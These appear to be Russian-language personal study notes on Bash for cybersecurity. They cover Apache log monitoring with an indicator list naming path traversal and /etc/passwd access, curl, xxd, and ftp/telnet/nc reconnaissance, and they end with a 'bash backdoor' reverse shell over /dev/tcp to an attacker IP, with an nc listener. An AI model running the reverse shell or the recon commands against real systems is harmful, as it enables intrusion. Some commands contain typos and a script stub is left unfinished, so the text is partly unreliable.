tail -f /var/log/apache2/access.log | grep '10.0.0.152'
tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404'
cd /var/log/apache2/
tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7
Обнаружение вторжения с помощью журнала apache2:
cat > ioc.txt << "EOF"
\.\./
etc/passwd
etc/shadow
cmd\.exe
/bin/sh
/bin/bash
EOF
../ -злоумышленник пытается выйти из текущего каталога рабочего каталога
/etc/passwd и другие - пытается получить доступ к паролям системы
/sh и другое - пытается вызвать программу
tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt
tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txt
Сканер портов:
cat > scan.sh << "EOF"
#!/bin/bash -
# Описание:
# Сканирование порта указанного хоста
# Использование:
# ./scan.sh
Сравнение файлов:
sdiff - сравнивает два файла
-a - рассматривать все файлы как текстовые
-i - игнорировать регистр
-s - удалять общие строки для двух файлов
-w - определить максимальное кол-во символов для вывода в троке
sdiff -s file1.txt file2.txt
curl:
curl
-A - для отправки на сервер указать строку агента пользователя HTTP
-d - данные для отправки с запросом HTTP POST
-G - использовать для отправки данных запрос HTTP GET, а не POST
-I - получить только заголовок протокола (HTTP, FTP)
-L - следовать за пере направлениями
-s - не показывать индикатор выполнения или сообщения об ошибках
curl https://google.com
Проверка сокращенной ссылки:
curl -ILs http://bitly.com/1k5eYPw | grep '^Location:'
xxd :
xdd - выводит на экран в двоичном или шестнадцатеричном формате
-b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата
-l - вывести кол-во байт двоичного или шестнадцатеричного файла
-s - начать печать с позиции байта n
xdd -s 35 -l 50 somefile.txt
Разведка:
Просмотр вебсервера:
ftp
-n - запретить авто вход на сервер
ftp -n 192.168.0.15
ftp 192.168.0.15
ftp 192.168.0.15 60
Просмотр веб сайта:
curl -L -o output.html https://www.oreilly.com
curl -LI https://www.oreilly.com
curl -LIs https://www.oreilly.com | grep '200 OK'
Копирование сайта себе:
wget -p -m -k -P ./mirror https://digadel.com
Самый простой способ перехватить баннер с SMTP сервера:
telnet 192.168.0.15 25
nc :
nc
-l - прослушивать входящие подключения
-n - запретить выполнение поиска dns
-p - задать исходный порт для подключения и прослушивания
-v - установить подробный режим
Подключение:
nc www.oreilly.com 80
Прослушивания:
nc -l -v -n -p 8080
Обратный SSH :
ssh -R 12345:localhost:22 user@remoteip
ssh localhost -p 12345
Бэкдор баш:
/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0
Здесь:
/bin/bash -i - интерактивный режим баша
< /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15,
порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш.
1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного
потока ввода (stdin)(дескриптор файла 0)
В системе злоумышленника должен слушаться порт 8080
nc -l -v -p 8080